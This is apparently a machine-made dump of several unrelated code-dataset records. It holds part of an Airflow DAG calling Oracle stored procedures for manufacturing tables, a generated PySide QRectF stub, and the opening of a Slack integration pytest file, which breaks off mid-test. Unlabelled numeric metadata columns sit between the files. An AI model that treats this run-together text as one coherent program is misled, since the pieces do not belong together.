SDM_SRC_SPN_TABL = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_MANUFACTURING_ORDER" SDM_MANUFACTURING_ORDER = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_STAGE" SDM_STAGE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SFCS_LINE" SDM_SFCS_LINE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_PRODUCTIVITY_LINE" SDM_PRODUCTIVITY_LINE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_PROCESS" SDM_PROCESS = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SHIFT" SDM_SHIFT = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_FPYR_IN_SINGLE_STATION" SDM_FPYR_IN_SINGLE_STATION = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_FIRST_PASS_YIELD_RATE" SDM_FIRST_PASS_YIELD_RATE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_AUTO_EQUIPMENT_STDH" SDM_AUTO_EQUIPMENT_STDH = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_ACTIVATION" SDM_ACTIVATION = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SFCS_OUTPUT_QTY" SDM_SFCS_OUTPUT_QTY = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_STANDARD_HOUR" SDM_STANDARD_HOUR = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_DIPATP_SFCS_OUTPUT_HOUR" SDM_DIPATP_SFCS_OUTPUT_HOUR = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_DIPATP_TTL_INPUT_HOURS" SDM_DIPATP_TTL_INPUT_HOURS = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SMT_SFCS_OUTPUT_HOUR" SDM_SMT_SFCS_OUTPUT_HOUR = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SMT_WORK_HOUR" SDM_SMT_WORK_HOUR = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_ORACLE_OUTPUT_HOUR" SDM_ORACLE_OUTPUT_HOUR = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_COST_OF_POOR_QUALITY" SDM_COST_OF_POOR_QUALITY = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_TOTAL_SCRAP_AMT" SDM_TOTAL_SCRAP_AMT = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "SDM_SMT_LINE_DISTRIBUTION_RATIO" SDM_SMT_LINE_DISTRIBUTION_RATIO = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "DIM_MANUFACTURING_ORDER" DIM_MANUFACTURING_ORDER = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "DIM_STAGE" DIM_STAGE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "DIM_SFCS_LINE" DIM_SFCS_LINE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "DIM_PRODUCTIVITY_LINE" DIM_PRODUCTIVITY_LINE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "DIM_PROCESS" DIM_PROCESS = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "DIM_SHIFT" DIM_SHIFT = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "FCT_FPYR_IN_SINGLE_STATION" FCT_FPYR_IN_SINGLE_STATION = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "FCT_FIRST_PASS_YIELD_RATE" FCT_FIRST_PASS_YIELD_RATE = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "FCT_COST_OF_POOR_QUALITY" FCT_COST_OF_POOR_QUALITY = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "FCT_COST_OF_POOR_QUALITY_PC" FCT_COST_OF_POOR_QUALITY_PC = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "FCT_SCRAP_AMT_RATIO" FCT_SCRAP_AMT_RATIO = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "FCT_SMT_LINE_DISTRIBUTION_RATIO" FCT_SMT_LINE_DISTRIBUTION_RATIO = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" )

27.931189

118

0.630757

4,495

37,344

4.787764

0.038042

0.147205

0.107058

0.08587

0.90112

0.885275

0.88416

0.88402

0.882533

0

0.003745

0.206325

37,344

1,336

119

27.952096

0.722325

0.07123

0

0.623229

1

0

0.297667

0.020034

0

null

0.003777

0.010387

null

0

null

0

1

0

1

0

null

0

1

0

8

e01b6b9034cda747136952995fb835229e4216f6

6,992

py

Python

resources/dot_PyCharm/system/python_stubs/-762174762/PySide/QtCore/QRectF.py

basepipe/developer_onboarding

05b6a776f8974c89517868131b201f11c6c2a5ad

[ "MIT" ]

1

2020-04-20T02:27:20.000Z

resources/dot_PyCharm/system/python_stubs/cache/16012662ddca113c1f50140f9e0d3bd290a511015767475cf362e5267760f062/PySide/QtCore/QRectF.py

basepipe/developer_onboarding

05b6a776f8974c89517868131b201f11c6c2a5ad

[ "MIT" ]

null

resources/dot_PyCharm/system/python_stubs/cache/16012662ddca113c1f50140f9e0d3bd290a511015767475cf362e5267760f062/PySide/QtCore/QRectF.py

basepipe/developer_onboarding

05b6a776f8974c89517868131b201f11c6c2a5ad

[ "MIT" ]

null

# encoding: utf-8 # module PySide.QtCore # from C:\Python27\lib\site-packages\PySide\QtCore.pyd # by generator 1.147 # no doc # imports import Shiboken as __Shiboken class QRectF(__Shiboken.Object): # no doc def adjust(self, *args, **kwargs): # real signature unknown pass def adjusted(self, *args, **kwargs): # real signature unknown pass def bottom(self, *args, **kwargs): # real signature unknown pass def bottomLeft(self, *args, **kwargs): # real signature unknown pass def bottomRight(self, *args, **kwargs): # real signature unknown pass def center(self, *args, **kwargs): # real signature unknown pass def contains(self, *args, **kwargs): # real signature unknown pass def getCoords(self, *args, **kwargs): # real signature unknown pass def getRect(self, *args, **kwargs): # real signature unknown pass def height(self, *args, **kwargs): # real signature unknown pass def intersect(self, *args, **kwargs): # real signature unknown pass def intersected(self, *args, **kwargs): # real signature unknown pass def intersects(self, *args, **kwargs): # real signature unknown pass def isEmpty(self, *args, **kwargs): # real signature unknown pass def isNull(self, *args, **kwargs): # real signature unknown pass def isValid(self, *args, **kwargs): # real signature unknown pass def left(self, *args, **kwargs): # real signature unknown pass def moveBottom(self, *args, **kwargs): # real signature unknown pass def moveBottomLeft(self, *args, **kwargs): # real signature unknown pass def moveBottomRight(self, *args, **kwargs): # real signature unknown pass def moveCenter(self, *args, **kwargs): # real signature unknown pass def moveLeft(self, *args, **kwargs): # real signature unknown pass def moveRight(self, *args, **kwargs): # real signature unknown pass def moveTo(self, *args, **kwargs): # real signature unknown pass def moveTop(self, *args, **kwargs): # real signature unknown pass def moveTopLeft(self, *args, **kwargs): # real signature unknown pass def moveTopRight(self, *args, **kwargs): # real signature unknown pass def normalized(self, *args, **kwargs): # real signature unknown pass def right(self, *args, **kwargs): # real signature unknown pass def setBottom(self, *args, **kwargs): # real signature unknown pass def setBottomLeft(self, *args, **kwargs): # real signature unknown pass def setBottomRight(self, *args, **kwargs): # real signature unknown pass def setCoords(self, *args, **kwargs): # real signature unknown pass def setHeight(self, *args, **kwargs): # real signature unknown pass def setLeft(self, *args, **kwargs): # real signature unknown pass def setRect(self, *args, **kwargs): # real signature unknown pass def setRight(self, *args, **kwargs): # real signature unknown pass def setSize(self, *args, **kwargs): # real signature unknown pass def setTop(self, *args, **kwargs): # real signature unknown pass def setTopLeft(self, *args, **kwargs): # real signature unknown pass def setTopRight(self, *args, **kwargs): # real signature unknown pass def setWidth(self, *args, **kwargs): # real signature unknown pass def setX(self, *args, **kwargs): # real signature unknown pass def setY(self, *args, **kwargs): # real signature unknown pass def size(self, *args, **kwargs): # real signature unknown pass def toAlignedRect(self, *args, **kwargs): # real signature unknown pass def top(self, *args, **kwargs): # real signature unknown pass def topLeft(self, *args, **kwargs): # real signature unknown pass def topRight(self, *args, **kwargs): # real signature unknown pass def toRect(self, *args, **kwargs): # real signature unknown pass def translate(self, *args, **kwargs): # real signature unknown pass def translated(self, *args, **kwargs): # real signature unknown pass def unite(self, *args, **kwargs): # real signature unknown pass def united(self, *args, **kwargs): # real signature unknown pass def width(self, *args, **kwargs): # real signature unknown pass def x(self, *args, **kwargs): # real signature unknown pass def y(self, *args, **kwargs): # real signature unknown pass def __and__(self, y): # real signature unknown; restored from __doc__ """ x.__and__(y) <==> x&y """ pass def __copy__(self, *args, **kwargs): # real signature unknown pass def __eq__(self, y): # real signature unknown; restored from __doc__ """ x.__eq__(y) <==> x==y """ pass def __ge__(self, y): # real signature unknown; restored from __doc__ """ x.__ge__(y) <==> x>=y """ pass def __gt__(self, y): # real signature unknown; restored from __doc__ """ x.__gt__(y) <==> x>y """ pass def __iand__(self, y): # real signature unknown; restored from __doc__ """ x.__iand__(y) <==> x&=y """ pass def __init__(self, *args, **kwargs): # real signature unknown pass def __ior__(self, y): # real signature unknown; restored from __doc__ """ x.__ior__(y) <==> x|=y """ pass def __le__(self, y): # real signature unknown; restored from __doc__ """ x.__le__(y) <==> x<=y """ pass def __lt__(self, y): # real signature unknown; restored from __doc__ """ x.__lt__(y) <==> x<y """ pass @staticmethod # known case of __new__ def __new__(S, *more): # real signature unknown; restored from __doc__ """ T.__new__(S, ...) -> a new object with type S, a subtype of T """ pass def __ne__(self, y): # real signature unknown; restored from __doc__ """ x.__ne__(y) <==> x!=y """ pass def __nonzero__(self): # real signature unknown; restored from __doc__ """ x.__nonzero__() <==> x != 0 """ pass def __or__(self, y): # real signature unknown; restored from __doc__ """ x.__or__(y) <==> x|y """ pass def __rand__(self, y): # real signature unknown; restored from __doc__ """ x.__rand__(y) <==> y&x """ pass def __reduce__(self, *args, **kwargs): # real signature unknown pass def __repr__(self): # real signature unknown; restored from __doc__ """ x.__repr__() <==> repr(x) """ pass def __ror__(self, y): # real signature unknown; restored from __doc__ """ x.__ror__(y) <==> y|x """ pass

27.419608

77

0.59897

821

6,992

4.857491

0.148599

0.244483

0.376128

0.270812

0.791625

0.769057

0.760281

0.12337

0

0.00158

0.27603

6,992

254

78

27.527559

0.78625

0.374571

0

0.490196

0

1

0.490196

false

0.490196

0.006536

0

0.503268

0

null

1

0

1

0

null

0

1

0

1

0

1

0

9

e06ffab4d00719ad580eae98aacea8fca919e45a

150,626

py

Python

Packs/Slack/Integrations/Slack/Slack_test.py

smokescreen-akshay/content

780e0c57a3201e405d4416154c5d08a4fbb9384c

[ "MIT" ]

1

2020-04-19T11:05:42.000Z

Packs/Slack/Integrations/Slack/Slack_test.py

smokescreen-akshay/content

780e0c57a3201e405d4416154c5d08a4fbb9384c

[ "MIT" ]

null

Packs/Slack/Integrations/Slack/Slack_test.py

smokescreen-akshay/content

780e0c57a3201e405d4416154c5d08a4fbb9384c

[ "MIT" ]

1

2021-05-31T15:08:48.000Z

import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * import slack import pytest import asyncio import json as js import datetime from unittest.mock import mock_open USERS = '''[{ "id": "U012A3CDE", "team_id": "T012AB3C4", "name": "spengler", "deleted": false, "color": "9f69e7", "real_name": "spengler", "tz": "America/Los_Angeles", "tz_label": "Pacific Daylight Time", "tz_offset": -25200, "profile": { "avatar_hash": "ge3b51ca72de", "status_text": "Print is dead", "status_emoji": ":books:", "real_name": "Egon Spengler", "display_name": "spengler", "real_name_normalized": "Egon Spengler", "display_name_normalized": "spengler", "email": "spengler@ghostbusters.example.com", "team": "T012AB3C4" }, "is_admin": true, "is_owner": false, "is_primary_owner": false, "is_restricted": false, "is_ultra_restricted": false, "is_bot": false, "updated": 1502138686, "is_app_user": false, "has_2fa": false }, { "id": "U07QCRPA4", "team_id": "T0G9PQBBK", "name": "glinda", "deleted": false, "color": "9f69e7", "real_name": "Glinda Southgood", "tz": "America/Los_Angeles", "tz_label": "Pacific Daylight Time", "tz_offset": -25200, "profile": { "avatar_hash": "8fbdd10b41c6", "first_name": "Glinda", "last_name": "Southgood", "title": "Glinda the Good", "phone": "", "skype": "", "real_name": "Glinda Southgood", "real_name_normalized": "Glinda Southgood", "display_name": "Glinda the Fairly Good", "display_name_normalized": "Glinda the Fairly Good", "email": "Glenda@south.oz.coven" }, "is_admin": true, "is_owner": false, "is_primary_owner": false, "is_restricted": false, "is_ultra_restricted": false, "is_bot": false, "updated": 1480527098, "has_2fa": false }]''' CONVERSATIONS = '''[{ "id": "C012AB3CD", "name": "general", "is_channel": true, "is_group": false, "is_im": false, "created": 1449252889, "creator": "U012A3CDE", "is_archived": false, "is_general": true, "unlinked": 0, "name_normalized": "general", "is_shared": false, "is_ext_shared": false, "is_org_shared": false, "pending_shared": [], "is_pending_ext_shared": false, "is_member": true, "is_private": false, "is_mpim": false, "topic": { "value": "Company-wide announcements and work-based matters", "creator": "", "last_set": 0 }, "purpose": { "value": "This channel is for team-wide communication and announcements. All team members are in this channel.", "creator": "", "last_set": 0 }, "previous_names": [], "num_members": 4 }, { "id": "C061EG9T2", "name": "random", "is_channel": true, "is_group": false, "is_im": false, "created": 1449252889, "creator": "U061F7AUR", "is_archived": false, "is_general": false, "unlinked": 0, "name_normalized": "random", "is_shared": false, "is_ext_shared": false, "is_org_shared": false, "pending_shared": [], "is_pending_ext_shared": false, "is_member": true, "is_private": false, "is_mpim": false, "topic": { "value": "Non-work banter and water cooler conversation", "creator": "", "last_set": 0 }, "purpose": { "value": "A place for non-work-related flimflam.", "creator": "", "last_set": 0 }, "previous_names": [], "num_members": 4 }]''' BOT = '''{ "ok": true, "url": "https://subarachnoid.slack.com/", "team": "Subarachnoid Workspace", "user": "grace", "team_id": "T12345678", "user_id": "W12345678" }''' MIRRORS = ''' [{ "channel_id":"GKQ86DVPH", "channel_name": "incident-681", "channel_topic": "incident-681", "investigation_id":"681", "mirror_type":"all", "mirror_direction":"both", "mirror_to":"group", "auto_close":true, "mirrored":true }, { "channel_id":"GKB19PA3V", "channel_name": "group2", "channel_topic": "cooltopic", "investigation_id":"684", "mirror_type":"all", "mirror_direction":"both", "mirror_to":"group", "auto_close":true, "mirrored":true }, { "channel_id":"GKB19PA3V", "channel_name": "group2", "channel_topic": "cooltopic", "investigation_id":"692", "mirror_type":"all", "mirror_direction":"both", "mirror_to":"group", "auto_close":true, "mirrored":true }, { "channel_id":"GKNEJU4P9", "channel_name": "group3", "channel_topic": "incident-713", "investigation_id":"713", "mirror_type":"all", "mirror_direction":"both", "mirror_to":"group", "auto_close":true, "mirrored":true }, { "channel_id":"GL8GHC0LV", "channel_name": "group5", "channel_topic": "incident-734", "investigation_id":"734", "mirror_type":"all", "mirror_direction":"both", "mirror_to":"group", "auto_close":true, "mirrored":true }] ''' BLOCK_JSON = [{ 'type': 'section', 'text': { 'type': 'mrkdwn', 'text': 'text' } }, { 'type': 'actions', 'elements': [{ 'type': 'button', 'text': { 'type': 'plain_text', 'emoji': True, 'text': 'yes' }, 'style': 'primary', 'value': '{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}', }, { 'type': 'button', 'text': { 'type': 'plain_text', 'emoji': True, 'text': 'no' }, 'style': 'danger', 'value': '{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}', }]}] PAYLOAD_JSON = r''' { "type":"block_actions", "team":{ "id":"T9XJ4RGNQ", "domain":"dombo60" }, "user":{ "id":"U012A3CDE", "username":"spengler", "name":"spengler", "team_id":"T9XJ4RGNQ" }, "api_app_id":"AMU4M2QL8", "token":"GBGG7mn61zg0a62MT9blXJnn", "container":{ "type":"message", "message_ts":"1567945126.000100", "channel_id":"DMGSNFCSX", "is_ephemeral":false }, "trigger_id":"754598374743.337616866772.8c4b2dc28ca7fd4c8941247c1a01c7dd", "channel":{ "id":"DMGSNFCSX", "name":"directmessage" }, "message":{ "type":"message", "subtype":"bot_message", "text":"This content can't be displayed.", "ts":"1567945126.000100", "username":"BlockTest", "bot_id":"BMWFS6KSA", "blocks":[ { "type":"section", "block_id":"F9iYK", "text":{ "type":"mrkdwn", "text":"Hopa this is a test. ", "verbatim":false }, "accessory":{ "type":"button", "text":{ "type":"plain_text", "text":"Eyy", "emoji":true }, "value":"{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}", "action_id":"W9J" } } ] }, "response_url":"hooks.slack.com", "actions":[ { "action_id":"W9J", "block_id":"F9iYK", "text":{ "type":"plain_text", "text":"Eyy", "emoji":true }, "value":"{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}", "type":"button", "action_ts":"1567949681.728426" } ] } ''' def get_integration_context(): return INTEGRATION_CONTEXT def set_integration_context(integration_context): global INTEGRATION_CONTEXT INTEGRATION_CONTEXT = integration_context RETURN_ERROR_TARGET = 'Slack.return_error' @pytest.fixture(autouse=True) def setup(mocker): from Slack import init_globals mocker.patch.object(demisto, 'info') mocker.patch.object(demisto, 'debug') set_integration_context({ 'mirrors': MIRRORS, 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) init_globals() def test_merge_lists(): from Slack import merge_lists # Set original = [{'id': '1', 'updated': 'n'}, {'id': '2', 'updated': 'n'}] updated = [{'id': '1', 'updated': 'y'}, {'id': '3', 'updated': 'y'}] expected = [{'id': '1', 'updated': 'y'}, {'id': '2', 'updated': 'n'}, {'id': '3', 'updated': 'y'}] # Arrange result = merge_lists(original, updated, 'id') # Assert assert result == expected @pytest.mark.asyncio async def test_get_slack_name_user(mocker): from Slack import get_slack_name # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.info': user = params['user'] if user != 'alexios': return {'user': js.loads(USERS)[0]} elif method == 'conversations.info': return {'channel': js.loads(CONVERSATIONS)[0]} return None mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Assert # User in integration context user_id = 'U012A3CDE' name = await get_slack_name(user_id, slack.WebClient) assert name == 'spengler' assert slack.WebClient.api_call.call_count == 0 # User not in integration context unknown_user = 'USASSON' name = await get_slack_name(unknown_user, slack.WebClient) assert name == 'spengler' assert slack.WebClient.api_call.call_count == 1 # User does not exist nonexisting_user = 'alexios' name = await get_slack_name(nonexisting_user, slack.WebClient) assert name == '' assert slack.WebClient.api_call.call_count == 1 @pytest.mark.asyncio async def test_get_slack_name_channel(mocker): from Slack import get_slack_name # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.info': user = params['user'] if user != 'alexios': return {'user': js.loads(USERS)[0]} elif method == 'conversations.info': return {'channel': js.loads(CONVERSATIONS)[0]} return None mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Assert # Channel in integration context channel_id = 'C012AB3CD' name = await get_slack_name(channel_id, slack.WebClient) assert name == 'general' assert slack.WebClient.api_call.call_count == 0 # Channel not in integration context unknown_channel = 'CSASSON' name = await get_slack_name(unknown_channel, slack.WebClient) assert name == 'general' assert slack.WebClient.api_call.call_count == 1 # Channel doesn't exist nonexisting_channel = 'lulz' name = await get_slack_name(nonexisting_channel, slack.WebClient) assert name == '' assert slack.WebClient.api_call.call_count == 1 @pytest.mark.asyncio async def test_clean_message(mocker): from Slack import clean_message # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.info': return {'user': js.loads(USERS)[0]} elif method == 'conversations.info': return {'channel': js.loads(CONVERSATIONS)[0]} return None mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user_message = 'Hello <@U012A3CDE>!' channel_message = 'Check <#C012AB3CD>' link_message = 'Go to <https://www.google.com/lulz>' # Arrange clean_user_message = await clean_message(user_message, slack.WebClient) clean_channel_message = await clean_message(channel_message, slack.WebClient) clean_link_message = await clean_message(link_message, slack.WebClient) # Assert assert clean_user_message == 'Hello spengler!' assert clean_channel_message == 'Check general' assert clean_link_message == 'Go to https://www.google.com/lulz' def test_get_user_by_name(mocker): from Slack import get_user_by_name # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): users = {'members': js.loads(USERS)} new_user = { 'name': 'perikles', 'profile': { 'email': 'perikles@acropoli.com', }, 'id': 'U012B3CUI' } users['members'].append(new_user) return users mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Assert # User name exists in integration context username = 'spengler' user = get_user_by_name(username) assert user['id'] == 'U012A3CDE' assert slack.WebClient.api_call.call_count == 0 # User email exists in integration context email = 'spengler@ghostbusters.example.com' user = get_user_by_name(email) assert user['id'] == 'U012A3CDE' assert slack.WebClient.api_call.call_count == 0 # User name doesn't exist in integration context username = 'perikles' user = get_user_by_name(username) assert user['id'] == 'U012B3CUI' assert slack.WebClient.api_call.call_count == 1 set_integration_context({ 'mirrors': MIRRORS, 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) # User email doesn't exist in integration context email = 'perikles@acropoli.com' user = get_user_by_name(email) assert user['id'] == 'U012B3CUI' assert slack.WebClient.api_call.call_count == 2 # User doesn't exist username = 'alexios' user = get_user_by_name(username) assert user == {} assert slack.WebClient.api_call.call_count == 3 def test_get_user_by_name_paging(mocker): from Slack import get_user_by_name # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if len(params) == 1: return {'members': js.loads(USERS), 'response_metadata': { 'next_cursor': 'dGVhbTpDQ0M3UENUTks=' }} else: return {'members': [{ 'id': 'U248918AB', 'name': 'alexios' }], 'response_metadata': { 'next_cursor': '' }} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Arrange user = get_user_by_name('alexios') args = slack.WebClient.api_call.call_args_list first_args = args[0][1] second_args = args[1][1] # Assert assert len(first_args['params']) == 1 assert first_args['params']['limit'] == 200 assert len(second_args['params']) == 2 assert second_args['params']['cursor'] == 'dGVhbTpDQ0M3UENUTks=' assert user['id'] == 'U248918AB' assert slack.WebClient.api_call.call_count == 2 def test_mirror_investigation_new_mirror(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} if method == 'channels.create': return {'channel': { 'id': 'new_channel', 'name': 'incident-999' }} if method == 'groups.create': return {'group': { 'id': 'new_group', 'name': 'incident-999' }} else: return {} mocker.patch.object(demisto, 'args', return_value={}) 